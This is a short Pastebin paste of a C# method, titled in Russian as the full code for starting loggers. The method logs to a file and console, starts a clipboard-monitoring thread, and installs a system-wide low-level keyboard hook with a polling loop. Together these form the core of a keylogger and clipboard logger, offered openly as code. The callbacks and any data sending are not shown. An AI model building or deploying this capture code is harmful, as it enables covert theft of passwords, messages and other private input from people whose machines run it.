Advertisement
HackcatDev

Полный код метода запуска логгеров

Mar 7th, 2019
3,520
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 1.45 KB | None | 0 0
  1. public static void StartLoggers(string[] args)
  2.         {
  3.             try
  4.             {
  5.                 Trace.Listeners.Clear();
  6.                 TextWriterTraceListener twtl = new TextWriterTraceListener(Program.logName);
  7.                 twtl.Name = "TextLogger";
  8.                 twtl.TraceOutputOptions = TraceOptions.ThreadId | TraceOptions.DateTime;
  9.  
  10.                 ConsoleTraceListener ctl = new ConsoleTraceListener(false);
  11.                 ctl.TraceOutputOptions = TraceOptions.DateTime;
  12.  
  13.                 Trace.Listeners.Add(twtl);
  14.                 Trace.Listeners.Add(ctl);
  15.                 Trace.AutoFlush = true;
  16.  
  17.                 ThreadStart clipboardThreadStart = new ThreadStart(BootClipboard);
  18.                 Thread clipboardThread = new Thread(clipboardThreadStart);
  19.                 clipboardThread.Start();
  20.                 HookProc callback = CallbackFunction;
  21.                 var module = Process.GetCurrentProcess().MainModule.ModuleName;
  22.                 var moduleHandle = GetModuleHandle(module);
  23.                 var hook = SetWindowsHookEx(HookType.WH_KEYBOARD_LL, callback, moduleHandle, 0);
  24.  
  25.                 while (true)
  26.                 {
  27.                     PeekMessage(IntPtr.Zero, IntPtr.Zero, 0x100, 0x109, 0);
  28.                     System.Threading.Thread.Sleep(5);
  29.                 }
  30.             }
  31.             catch (Exception ex)
  32.             {
  33.                 Console.WriteLine("[ERROR] Exception: {0}", ex);
  34.             }
  35.         }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement